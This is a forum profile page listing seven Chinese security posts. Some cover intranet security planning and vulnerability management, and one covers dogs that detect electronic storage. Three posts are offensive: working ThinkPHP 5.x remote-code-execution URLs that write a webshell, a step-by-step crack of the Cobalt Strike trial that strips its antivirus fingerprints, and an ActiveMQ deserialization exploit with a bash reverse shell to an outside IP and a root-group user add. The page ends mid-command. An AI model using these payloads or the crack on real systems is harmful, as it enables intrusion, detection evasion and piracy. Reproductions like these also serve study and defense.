跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 总则 首先这里的内网不包含网络拓扑规划、应用发布、访问控制的等基础网络规划的内容,对于身份鉴别模式和访问控制有推荐的场景模式。对于内网安全的管控还是回归风险评估三要素,从扫要素开始说起,更能体现管控工作的思路。 风险评估三要素: - 资产:这里包含所有的IT资产和无形资产(包含数据和名誉); - 威胁:这里一般指的是面临的内部和外部可能的有害行为和力量; - 脆弱:这里多指漏洞以及存在的其他隐患; 资产 换了个角度来分析就看出来为什么内网安全第一步要做资产的收集整理归类,其实这一步恰恰也是最繁杂的。一般公司不会再初创伊始就注重安全,肯定是发展到了一定阶段才开始关注安全并建立自己的安全部门,除了紧急救火外,第一步要做的推进事项就是收集资产、分类资产、管控资产;特别要注明的是对不同的资产要执行不同的安全策略。类似OA、财务、域控等重要系统,它们或许有敏感数据,或许有内网权限集合,所以要格外特别保护,执行最严格的管理措施,但是对于测试虚拟化主机池,在做好隔离的情况下,不一定要执行一类的安全标准。 执行资产发现的技术方案: - 收集最原始的数据包括(IP、域名、URL等); - 收集业务相关信息(资产归属和运维负责人、资产使用目的等); - 使用以上数据对内网进行探测发现(masscan、nmap)发现活跃的Domain、IP、URL等,对于域名还要进行多种解析,求得子域名、A记录、CNAME等(DNS、PDNS); - 所有等级资产入库,对于所有IP进行端口扫描获取运行的服务、软件及其版本、组件及其版本、标题等相关信息核对相关归属人入库; - 对以上信息进行管理形成统一的资产数据库; 有了资产就可以对资产进行下一步的管控,分类工作,网络拓扑规划和架构的问题这里不在讨论范围之列,但是为了后面审计工作好做,对于一些基本点还是有要求的: 要做基于身份和终端认证的身份鉴别和访问控制,尤其是针应有层统一认证的APP,类似WEB类业务服务,进行SSO统一认证管理; 对于类MySQL、SSH这类服务的访问控制则最好能够依托堡垒机进行; 办公地点互联和移动办公要求使用VPN; 内网最好没有NAT,如果有NAT一定要建立好转换对应表等; 脆弱 这里的脆弱咱们一般还是基于漏洞管控的角度展开,一般有三个问题,第一如何发现漏洞,如何修复漏洞、后续管控问题。这个漏洞管控流程要形成闭环,争取做到实时级或者准实时级监控,从而有效解决漏洞或者说是脆弱性的问题。 发现漏洞 收集漏洞信息 关注业界报道、漏洞情报 自身挖掘和积累 建立老漏洞知识库 漏洞探测: 购买商业漏扫产品(适合大面积覆盖式探测) 利用开源产品(注重积累自身POC) 自研漏扫引擎(注重积累自身POC) 修复漏洞: 升级或补丁修复(适合的开源组件或购买的产品) 代码级修复(对于自研的产品) 其他缓解措施:例如上防火墙、WAF(对于暂未有合适解决方案的漏洞) 漏洞闭环: 漏洞发现、告知和修复仅仅是第一步; 漏洞的复测与确认关闭 常态化监控避免复发 教育和推进安全标准化(安全培训、安全制度和SDL机制) 威胁 这里的威胁包含内部和外部的威胁,外部威胁常见,所有的攻击行为都算,内部常见的攻击行为也算,但是还有一类值得注意,敏感信息的泄露,机密文件(标书、报价单、录用函、合同)还有知识产权资产(代码、专利、技术方案等),除了上DLP监控外还需要对Github、各种网盘、代码托管平台、云平台进行监控,保障自身利益。这里对于主动防御(进攻类防御等)不做介绍,对于外界的舆论安全等也暂不考虑。所以建立内网的IDS/IPS体系也是十分必要的。我们要建立的能力要具备两点、第一事前、事中告警和事后应急审计。 流量全镜像备份系统(网镜、天眼、SOC类产品) 日志全收集平台(在各个终端是配置Agent,日志统一收集汇总、整理分析留存)开源产品可以借鉴ELK体系 自动化日志、流量分析告警平台和通知体制 威胁的一点小补充 对于审计还想所说一句,基于IP的使用ACL类技术进行的访问控制虽然成本低廉、但缺乏动态变化兼容的能力,基于身份、终端认证的访问控制及其日志的留存对于事后的审计、追踪、问责具有非常重要的意义。 总结 对于以上三者种种,一个新成立的安全部门上俩最重要的事情除了救火,就是建立者三位一体的体系,收集好资产建立最基本的管控运营的基础、并整合漏洞扫系统(建立对于漏洞的处置闭环),同时结合威胁情报,监控内外部安全事件,及时处置、善后。建立者三位一体的体系之后,内网安全战争的最基本的物质基础才算建设好,有了这些武器装备才能真正开始内网的安全战争。
  2. 作为公司内部网络安全建设的基础环节,资产的收集以及对应的管理,尤其是漏洞管理,都是网络安全建设的基础。 资产收集第一步--已入网设备的收集: (1)收集手段:根据历史登记记录查询或者使用扫描方式对网络环境内部进行活跃主机探测。 (2)收集目标:覆盖所有已入网设备,包括云、IoT设备等,建立相应的库表结构存储,定期复测,有序更新。 资产收集第二步--新入网设备的收集: (1)收集手段:入网登记或者使用智能入网探测机制,可以利用网络探测技术,或者入网联通身份验证机制做收集。 (2)收集目标:覆盖所有新入网设备,包括云、IoT设备等,建立相应的库表结构存储,定期复测,有序更新。 资产收集第三步--虚拟资产的收集: (1)虚拟资产:包括但不限于重要数据记录、IP地址、MAC地址、主域名、子域名、CNAME记录、MX记录、NS记录、A记录等等。 (2)收集手段:登记审核机制以及扫描解析请求。 (3)收集目标:覆盖所有虚拟资产,建立相应的库表结构存储,定期复测,有序更新。 资产分析第一步--主机OS、SOFTWARE、SERVICES等信息收集: (1)技术手段:扫描 (2)收集信息:os系统信息(包含口令信息)、网络协议栈信息(MAC、IP、PORT、PROTOCOL、SERVICES)、软件信息(软件名称、版本) (3)收集目标:覆盖所有以上信息,并定期追踪探测,有序更新。 资产分析第二步--漏洞库建立: (1)收集方法:有条件的建立自己的SRC和漏洞平台,众测收集漏洞;自身,或邀请有资质的机构进行渗透测试,挖掘漏洞,并记录进入自己的漏洞库;关注CVE、CNNVD、NVD进行同步。 (2)收集内容:漏洞危险等级,漏洞影响范围、软件、版本,漏洞测试方法、漏洞修补方法。 (3)收集目标:尽量覆盖所有相关漏洞信息,并定期追踪探测,有序更新。 资产分析第三步--漏洞检查修复: (1)漏洞匹配阶段:资产信息与漏洞库匹配检查,必要时使用poc测试。 (2)漏洞修复阶段:分等级限期修复,修复好验证。无法修复的记录,并制定其他限制策略。
  3. 一、STEP1->合理的网络规划与边界防护:   这里其实是一个老生常谈的问题,虽然Google号称消灭网络边界很多年了,至少2015年我就听说过类似的概念,但是目前国内甲方尤其是重资产甲方是无法消灭网络边界的,在短时内也看不到消灭网络边界的可能性。因而合理规划网络环境,做好边界安全防护依然是最最基础的事情。   (1)合理规划网络拓扑并不局限于Inside、Outside、DMZ等传统划分,而是根据实实在在的网络联通需求,合理规划自己的布局。   (2)合理划分区域,在区域合理规划FW、WAF、IPS、IDS、SOC、UTM、STIM、Agent(流量分析探针,用于APT攻击检测)等设备的部署,和互动互联。   (3)ACL配置:互相访问权限应该满足业务需求情况下,按照最小权限原则进行。所有的ACL配置以及相关变动需要保存历史记录,以便于审计。   (4)异地分公司通过VPN访问企业内部网络。且需要保证可靠的流量加密算法和足够强度的身份认证管理机制,例如双因子认证,动态认证等措施。   (5)云托管化的网络部署,应该在云上做虚拟的网路划分,对网络访问做满足需求下的最小权限分配。   (6)部署蜜罐、密网、沙箱的环境,诱导攻击者,发现攻击者、发现供给趋势,用于提供威胁情报、安全决策依据,并在一定程度上保护和隐藏机构内部信息网络。 二、STEP2->资产可信可控管理与漏洞管理:   对于很多依靠技术起家的互联网甲方目前的资产管理都是一团糟。何况大多数非IT行业的公司。所以对于资产的可信可控高效的组织管理是十分必要的。   (1)建立健全资产登记管理系统,这里的资产包含:     (硬件:计算机、网络设备、工控设备、物联网设备[自动售卖机、自助ATM、只能探头、监视器、摄像头、智能电视,智能办公用具等一切设备、税控设备]、移动互联终端);     (软件:自研软件、开源软件、免费闭源软件、付费第三方软件等);     (IT虚拟资产:域名、URL、Email、IP、Data->这里指的是所有数据的意思,包含业务和技术数据)   (2)定期周期化的做资产变动扫描探测,完善资产list。[需要发现扫描系统,及时发现资产,探测资产的OS、SOFTWARE、DEVICE 等信息,匹配安全情报和漏洞信息](详情请参考资产发现系统研究)   (3)根据资产信息匹配最新的漏洞信息、攻防信息等安全情报,及时打补丁,短时间没有补丁的,可以寻找自己的安全团队或第三方安全团队做临时性安全措施。   (4)建立恶意信息库,或者购买第三方恶意信息库,包含但不限于恶意的IP、Domain、URL、Email、Hash 与自己的资产、不明样本进行匹配分析,实时最好。发现恶意攻击行为,恶意样本、陷落主机。   (5)及时安装补丁、升级版本,做好基础加固。   (6)基线配置检测,对于所有资产进行安全配置基线检查,根据实际结果进行修改,完善安全配置。 三、STEP3->日志收集的大数据分析审计与态势感知:   目前大数据与机器学习异常火热,态势感知感念方兴未艾,但是其本质就是日志的收集,整理,智能化分析、以及利用机器学习算法对访问行为建立画像,计算特征,区别正常流量行为与异常流量行为。   (1)建立完善详细的日志收集采集系统,例如ELK系统,或者使用Splunk。   (2)对大量甚至海量数据进行二次研发,精准分析,匹配规则,及时报警。例如yara规则。modsecurity规则、owasp规则等等。   (3)使用机器学习算法对日志进行黑、白、灰分类。实现更加精确的匹配,甚至进行预测未来攻击趋势。   (4)建立完整的日志实时传递,备份,保存机制。便于一旦出事可以进行及时的审计、溯源、回复。 四、STEP4->建立安全开发流程避免漏洞:   (1)第三方或者开源的软件需要进行安全测试或者实时关注其安全动态,例如有没有一直cve等等。   (2)自研系统使用的中间件应该做过安全检查,避免使用爆出cve漏洞的中间件,或者历史上爆出多个0day或者漏洞的中间件,例如struts2。漏洞库版本对照可以参照CPE。   (3)严格遵照安全开发流程,例如OWASP或者微软的SDL标准,避免使用危险函数等。   (4)开发需要经过安全培训。   (5)所有产品上线或者发布前,均需经过严格的可靠的安全测试。 五、STEP5->业务安全保障机制建立:   (1)建立健全内部安全规章制度。   (2)做好应急响应的各种储备工作。   (3)重要数据多好多种备份,尽量减小对业务的影响。
  4. 0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。 0x01 影响范围 5.x < 5.1.31, <= 5.0.23 0x02 漏洞分析 Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815 路由信息中controller的部分进行了过滤,可知问题出现在路由调度时 关键代码: 在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。 其中使用了$this->app->controller方法来实例化控制器,然后调用实例中的方法。跟进controller方法: 其中通过parseModuleAndClass方法解析出$module和$class,然后实例化$class。 而parseModuleAndClass方法中,当$name以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。 接着,我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息 代码比较简单,就是使用/对$url进行分割,未进行任何过滤。 其中的路由url从Request::path()中获取 由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化\namespace\class类并执行method方法。 0x03漏洞利用 docker漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29 本地环境:thinkphp5.0.15+php5.6n+ apache2.0 http://www.thinkphp.cn/donate/download/id/1125.html 1.利用system函数远程命令执行 http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 2.通过phpinfo函数写出phpinfo()的信息 http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 3.写入shell: http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php 或者 http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
  5. 篇首语:很多部门都在思考如何使用低技术手段来解决高科技犯罪,反窃密行业同样如此。 嗯,总有些另辟蹊径的思路,比如今天要介绍的是,可以帮小姐姐查针孔偷拍的:ESD K-9 电子存储设备搜检汪汪队~~ 小贴士:K-9这个词源于英文单词Canine,原意指犬科动物,K9其实指的就是警犬或者是军犬,这个词最先流行于美国的警犬部门,现在已被广泛接受~~ 大家在机场见过防爆和缉毒的狗狗吧? 声明:以下内容符合OSINT国际开源情报搜集定义,不涉及任何非法行为,仅供交流与参考。 01 为什么要搜检电子存储设备? 在现代社会,针对未成年人的互联网犯罪,包括创建和传播未成年人色情制品、儿童性奴、未成年人性侵犯和性虐待的直播等等。近些年,这类犯罪正在以惊人的速度增加。 这些疑犯通常的做法是将其对话信息、图片、视频和其他联系信息都保存在外部存储设备(例如硬盘、U盘、Micro SD卡等)并藏匿,这对执法人员的搜查工作制造了很大难题。 来自美国计算机犯罪部门的警官表示: 在搜查令期间,通常会要求执法人员查找与这些罪行有关的实物证据。这些证据对于识别受害者,并将这些嫌疑人从社区中驱逐及逮捕至关重要。 但当他们依法执行搜查工作时,由于电子存储设备通常很小,容易隐藏,所以虽然搜查工作通常要花费数小时,但总会疏漏些电子物证,甚至有些设备可能永远都找不到。 而每个未发现的设备,都可能是一个或多个身份不明的受害者的血泪证据。 这些被称为数字媒体电子存储设备(DMESD),包括笔记本硬盘、小型U盘、TF卡、SD 卡、Micro SD卡、智能手机以及许多其他存储设备。要知道,不到一毫米厚的微型microSD卡里,可以容纳100GB的各种数据。 02 ESD狗狗是如何训练的 时针拨回到2012年,康涅狄格州K9小组警官被上级召见,后者询问是否有可能训练警犬来定位计算机硬盘驱动器之类的设备。 于是,K9小组邀请了科学服务部法医实验室的化学家杰克·哈伯(Jack Hubball)博士参与。 Hubball第一反应是怀疑,但鉴于他已经在缉毒和排爆部门工作30多年,对狗狗的能力非常了解,这些履历又让他对产生了信心。 Hubball仔细检查了硬盘、U盘、SD卡等所有电子存储设备,并开始测试各种电路元器件。 大约六个月后,他发现了一种名为三苯基膦氧化物(TPPO)的化合物,从大容量硬盘到microSD卡的所有存储设备中的电路板中都出现该化合物,其作用是防止它们过热。 同时,也成功地从可移动介质(如CD、DVD、磁带甚至软盘)中提取了另一种化合物:羟基环己基苯基酮(HPK)。 小贴士: 杨叔搜了一下,以下中英文供行业人士参考: 至此,有了关键的化学“钥匙”,K9中心开始训练两只拉布拉多犬作为ESD狗狗,ESD即Electronics Storage Detection K-9,有时也简称为:Electronic Detection K-9。 在成功完成培训后,其中一只名叫Selma的,开始与康涅狄格州警察计算机犯罪部门合作。 直到2015年底,Selma已经处理了100多个案件,主要涉及儿童色情作品,还涉及凶杀、假释遵守工作和黑客案件。 Selma强大的嗅觉协助执法部门找出了隐藏在垃圾桶、通风口和散热器中的小型存储设备。 2015年,另一只名叫Bear的ESD狗狗,在参与的首次现场勘查中,就发现了调查人员错过的一部手机。 Bear在西雅图的第一年,协助了56份搜查令,并在现场搜索中,成功地找出16个被警员物理搜查中完全遗漏掉的设备。 而在整个华盛顿州的搜索任务中,Bear成功地在咖啡罐、特百惠厨房用品以及成堆的垃圾中找出了小型存储设备。 于是,ESD K9在执法圈里被传颂开来~ 03 来自一线的反馈 2016年,仅仅是Jordan Detection K9训练中心就培训了六只ESD狗狗,这些优秀的狗狗们被立即送往全美多个执法机构的特别K9小组里工作。同年,很多K9中心都开启了ESD训练班。 下图是康涅狄格州警察K9中心开设的第一个班里的5只ESD狗狗毕业照。 新墨西哥州检察长办公室的特工Iris是Jordan Detection K9中心的毕业犬之一。对,你没看错,这些ESD狗狗岗位是特工 2016年在FBI的一次搜查中,联邦调查局的特工们确信房间里已经找不到任何东西,但Iris出现后,很快就表示桌子上方抽屉里有东西。 FBI特工拉开抽屉,没有看到任何物证。 当他说:“指给我”,Iris把鼻子伸到便签纸上。 这位FBI特工有些恼火地认为狗狗在偷懒捣乱,结果当Iris叼起便签纸并将其翻转过来,一个microSD卡掉了出来。 “Iris很棒,她是对的,是我搞错了,”现场工作结束后,这位特工说道。 “很多时间我们根本看不见也找不到证据,这些狗狗的作用真的很大。” 2017年,康涅狄格州的K9中心开设了超过三个ESD狗狗训练班。这些狗狗除了参与未成年人色情取证工作及刑事案件外,还将用于反恐。 康涅狄格州甚至接待了来自英国的训犬师,澳大利亚官员也表示有兴趣采购该训练项目。 04 来自一线的担忧 一些执法人员的担忧是: 如果科技公司知道这些狗狗正在追踪的化合物类型,他们可能会尝试制造没有含有这类化合物的存储设备。 但Hubbell说,他不认为这种情况会广泛发生。 Hubball说:“目前在电路板上广泛使用的是一种非常便宜的化工品,而且效果非常好,而近些年在大规模制造电路板的材料选择上很难发生重大变化。” “在这种情况下,因为设备中已经装有这些电路板,所以不太可能掩盖住气味。” 而且,在康涅狄格州警察局法医实验室,Hubball正在努力提升狗的最低可检测极限。 他说:“我们已经降低到非常低的百万分之一水平,而现在我们将致力于更高的十亿分之一的TPPO水平。” 他说,到目前为止,这些狗狗甚至可以检测到微量的化合物。 05 TSCM反窃密领域的应用 同样地,在各种刑事以及商业间谍案件中,对于电子存储设备的搜查愈发重要。 到2020年底,仅仅Jordan Detection K9中心就已训练了超30只ESD及20只毒品侦查犬,有力地支援了一线各个部门的需求。 现在,经过几年的实战证明,ESD K-9对物理搜查至关重要,因为电子存储设备确实很容易被人眼忽略,尤其是当隐藏在墙体裂缝、衣服、天花板或扔进盒子、脏衣服甚至垃圾中。 从某种程度上而言,ESD K-9的能力超过了专业检测设备,哈哈~ 目前国外有好几个社区型K9团队,都是自发训练狗狗开始查找微型电子设备,据说前不久成功地找到了针孔偷拍器材! What?以后出门还买啥反偷拍装备,带上自家狗狗不就行了 不过,虽然说ESD K-9小组里确实有很多家犬品种的身影,比如拉布拉多等,但对于二哈这样的狗,杨叔个人表示怀疑,这货不会趁机把房间撕碎了吧?
  6. 0x00 概述 CobaltStrike是一款内网渗透的商业远控软件,支持自定义脚本扩展,功能非常强大。前段时间Github上有好心人放出了CobaltStrike3.12的试用版,接着Lz1y很快就放出了破解版,加上热心老哥提供了的xor64.bin(试用版中没有这个文件),一个比较完美的最新可用版本诞生了。下面我们看下最新试用版是如何被完美破解的。 0x02 上手 CobaltStrike(下面简称CS)主体代码是用Java开发的,逆起来比较友好。用jd-gui反编译cobaltstrike.jar文件,可以看到代码几乎没有做防破解。Java源码没有任何混淆。但是查看反编译的源码时,很多地方出现了// INTERNAL ERROR //,这里我推荐一款Java反编译工具luyten,几乎可以100%反编译获得cobaltstrike.jar源码。 CS的License处理逻辑在common/License.java文件中: package common; import aggressor.*; import javax.swing.*; import java.awt.*; public class License { private static long life; private static long today; private static long start; private static long difference; private static long getTimeSinceStart() { final Prefs options = Prefs.getPreferences(); License.today = System.currentTimeMillis(); License.start = options.getLongNumber("cobaltstrike.start.int", 0L); if (License.start == 0L) { options.set("cobaltstrike.start.int", License.today + ""); options.save(); License.start = License.today; } return License.difference = (License.today - License.start) / 86400000L; } public static void checkLicenseGUI(final Authorization auth) { getTimeSinceStart(); if (License.difference > License.life || License.today - License.start < 0L) { JOptionPane.showMessageDialog(null, "Your Cobalt Strike trial is now expired.\nPlease purchase a license and use the\nsoftware update feature to continue.\n\nFor details, visit:\nhttps://www.cobaltstrike.com/", null, 0); System.exit(0); } else { final long left = License.life - License.difference; String form = left + " day"; if (left != 1L) { form += "s"; } CommonUtils.print_warn("This is a trial version of Cobalt Strike. You have " + form + " left of your trial. If you purchased Cobalt Strike. Run the Update program and enter your license."); CommonUtils.print_trial("WARNING! This trial is *built* to get caught by standard defenses. The licensed product does not have these restrictions. See: http://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/"); JOptionPane.showMessageDialog(null, "This is a trial version of Cobalt Strike.\nYou have " + form + " left of your trial.\n\nIf you purchased Cobalt Strike. Run the\nUpdate program and enter your license.", null, 1); } } public static boolean isTrial() { return true; } public static void checkLicenseConsole(final Authorization auth) { getTimeSinceStart(); if (License.difference > License.life || License.today - License.start < 0L) { CommonUtils.print_error("Your Cobalt Strike trial is now expired. Please purchase a license and use the software update feature to continue. For details, visit: https://www.cobaltstrike.com/"); System.exit(0); } else { final long left = License.life - License.difference; String form = left + " day"; if (left != 1L) { form += "s"; } CommonUtils.print_warn("This is a trial version of Cobalt Strike. You have " + form + " left of your trial. If you purchased Cobalt Strike. Run the Update program and enter your license."); CommonUtils.print_trial("WARNING! This trial is *built* to get caught by standard defenses. The licensed product does not have these restrictions. See: http://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/"); } } static { License.life = 21L; License.today = 0L; License.start = 0L; License.difference = 0L; } } 代码逻辑很清晰,这里我们有两个方向进行patch: 修改License.life无限延长试用 修改isTrial()返回值,伪造成正式版 因为CS很多地方的试用版和正式版处理逻辑不同,所以修改了isTrial()返回值之后,我们还需要修改所有调用了isTrial()函数的地方,对代码进行调整。另外试用版CS留了一些特征指纹和限制,我们也需要去除相应的特征代码。 修改重打包 既然知道了破解思路,我们看下如何动手操作去修改源码并重编译。Java编程中我们可以使用jar工具将一系列的.class文件打包成jar包,供其他java程序使用。我们也可以修改jar包中.class文件的内容,并重新编译打包。比如修改demo.jar中的example.class并重新编译的过程如下: 使用jd-gui、luyten等工具把demo.jar包中的class反编译成源码,从中提取得到example.java 执行jar xvf demo.jar 解压demo.jar得到jar包的子文件(注意会解压到当前目录),将example.java文件放置到与example.class文件同一目录 执行javac -cp a.jar;b.jar;c.jar example.java重新编译。(或者javac -cp demo.jar example.java)得到新的example.class文件。 其中a.jar、b.jar、c.jar是依赖包,一般直接依赖一个原始解压的demo.jar包即可 确保编译后的example.class替换了原来的example.class文件(可以通过jd-gui反编译查看) 执行jar -uvf demo.jar com/some/path/example.class更新demo.jar包 更新jar包中的class文件时,新的class文件目录路径需要与原package路径保持一致。比如修改了aggressor.AggressorClient.java并重新编译之后,更新jar包的命令如下: KINGX modified_java_files >jar -uvf cobaltstrike-with-xor64.jar aggressor/AggressorClient*.class 正在添加: aggressor/AggressorClient$1.class(输入 = 650) (输出 = 403)(压缩了 38%) 正在添加: aggressor/AggressorClient$2.class(输入 = 1263) (输出 = 704)(压缩了 44%) 正在添加: aggressor/AggressorClient.class(输入 = 11115) (输出 = 5196)(压缩了 53%) 可能遇到的问题 修改后的java文件在重新编译为class文件时,可能会遇到很多奇怪的报错。有时候是因为反编译出的源码存在错误导致的,这个时候我们可以将luyten、jad、jd-gui等反编译工具结合使用,尽量还原成正确的源码,再重新编译。 比如:AggressorClient.java,jad aggressor/AggressorClient*.class和luyten反编译得到的源码是不一样的。 0x03 试用版Patch详细分析 Tips: 以下代码片段中行首的 - 代表删除,+ 代表新增 Patch 试用版本 修改common.License,去掉checkLicenseGUI()、checkLicenseConsole()函数体,修改isTrial()返回值为true 修改主程序标题 aggressor.AggressorClient,修改getTitle()函数 解除listener同类数量限制 一个teamserver默认只能监听一个listener,可以通过修改代码去除限制。 aggressor.dialogs.ListenerDialog,去除以下代码: ... else if (Listener.isEgressBeacon(payload) && DataUtils.isBeaconDefined(this.datal) && !name.equals(DataUtils.getEgressBeaconListener(this.datal))) { DialogUtils.showError("You may only define one egress Beacon per team server.\nThere are a few things I need to sort before you can\nput multiple Beacon HTTP/DNS listeners on one server.\nSpin up a new team server and add your listener there."); } ... 3.去除EICAR后门指纹特征 试用版有几个地方存在EICAR特征字符:X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*,都需要进行清理: common.ListenerConfig 修改pad()函数: result.append("5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\u0000"); result.append("123\u0000"); resources/template.x64.ps1、resources/template.x86.ps1 $eicar = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' $eicar = '' server.ProfileEdits c2profile.addCommand(".http-get.server", "!header", "X-Malware: X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"); c2profile.addCommand(".http-post.server", "!header", "X-Malware: X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"); c2profile.addCommand(".http-stager.server", "!header", "X-Malware: X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"); c2profile.addCommand(".stage.transform-x86", "append", "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"); c2profile.addCommand(".stage.transform-x64", "append", "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"); common.ArtifactUtils 因为已经修改了License.isTrial()返回值为false,所以下面这段改不改也没什么影响。 if (License.isTrial()) { packer.addString("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"); CommonUtils.print_trial("Added EICAR string to " + s); } 添加XOR64.BIN 生成payload时,会调用common.ArtifactUtils中的XorEncode()进行编码: public static byte[] _XorEncode(final byte[] data, final String arch) { AssertUtils.TestArch(arch); if ("x86".equals(arch)) { final byte[] decoder = XorStub(); final byte[] payload = XorEncoder.encode(data); return CommonUtils.join(decoder, payload); } if ("x64".equals(arch)) { final byte[] decoder = CommonUtils.readResource("resources/xor64.bin"); final byte[] payload = XorEncoder.encode(data); return CommonUtils.join(decoder, payload); } return new byte[0]; } public static byte[] XorEncode(final byte[] data, final String arch) { if (License.isTrial()) { CommonUtils.print_trial("Disabled " + arch + " payload stage encoding."); return data; } AssertUtils.Test(data.length > 16384, "XorEncode used on a stager (or some other small thing)"); return _XorEncode(data, arch); } 试用版不会进行payload stage encoding,所以试用版软件包中并没有带xor.bin/xor64.bin文件,如果有这两个文件的话,可以添加到resources/xor.bin、resources/xor64.bin路径下。Github上有热心老哥提供了xor64的生成脚本:https://github.com/verctor/CS_xor64 源码逐个修改完,重新编译更新到cobaltstrike.jar包中,再拷贝替换掉原版的jar包就OK了。 来源: https://kingx.me/CobaltStrike-Patch.html?nsukey=%2Bdg38HXQ7jL6bumazQcy6JVFuMTbX1GsFUDVO9fIXQpb%2FKqdEriieNVOkW3wfLlT8KENWSwf6Q0D8e1W2M7rT6wfKJjzY9tGrZayatztD6XzibijhFgIRssm4IOl9C4tXRHlv%2BAnfFkxBZEg0o9Gxtcj%2F3JK%2BBoxbXm13S71rM3rLGZQQQdYwYH1pXd%2BdQqnYdS7ZSJNnGHzQvefkqw6kQ%3D%3D
  7. 0x00 漏洞前言 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。 0x01 漏洞环境 1.在ubuntu16.04下安装docker/docker-compose: # 安装pip curl -s https://bootstrap.pypa.io/get-pip.py | python3 # 安装最新版docker curl -s https://get.docker.com/ | sh # 启动docker服务 service docker start # 安装compose pip install docker-compose # 下载项目 wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip unzip vulhub-master.zip cd vulhub-master # 进入某一个漏洞/环境的目录 cd activemq/CVE-2015-5254/ # 自动化编译环境 docker-compose build 2.运行漏洞环境: docker-compose up -d 环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://your-ip:8161即可看到网络管理页面,不过这个漏洞理论上是不需要网络的。 使用浏览器直接访问activemq,查看是否部署完毕 http://45.32.101.90:8161/admin/(默认的用户名/密码为admin/admin) 0x02 漏洞复现 1.漏洞利用过程如下: a.构造(可以使用ysoserial)可执行命令的序列化对象 b.作为一个消息,发送给目标61616端口 c.访问的Web管理页面,读取消息,触发漏洞 2.使用jmet进行漏洞利用: 首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。 cd /opt wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar mkdir external 3.执行命令 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 45.32.101.90 61616 4.此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://45.32.101.90:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息: 5.点击查看这条消息即可触发命令执行 6.此时进入容器 docker exec -it cc0e9385f975 /bin/bash 7.可看到/ tmp /已成功创建,说明漏洞利用成功: 8.反弹shell: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/45.32.101.90/12340>&1" -Yp ROME45.32.101.90 61616 远程主机监听1234端口: nc -lvvp 1234 即可看到反弹是shell: 值得注意的是,通过网络管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。 9.添加用户 执行jmet的命令添加test用户并将其添加到root组,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 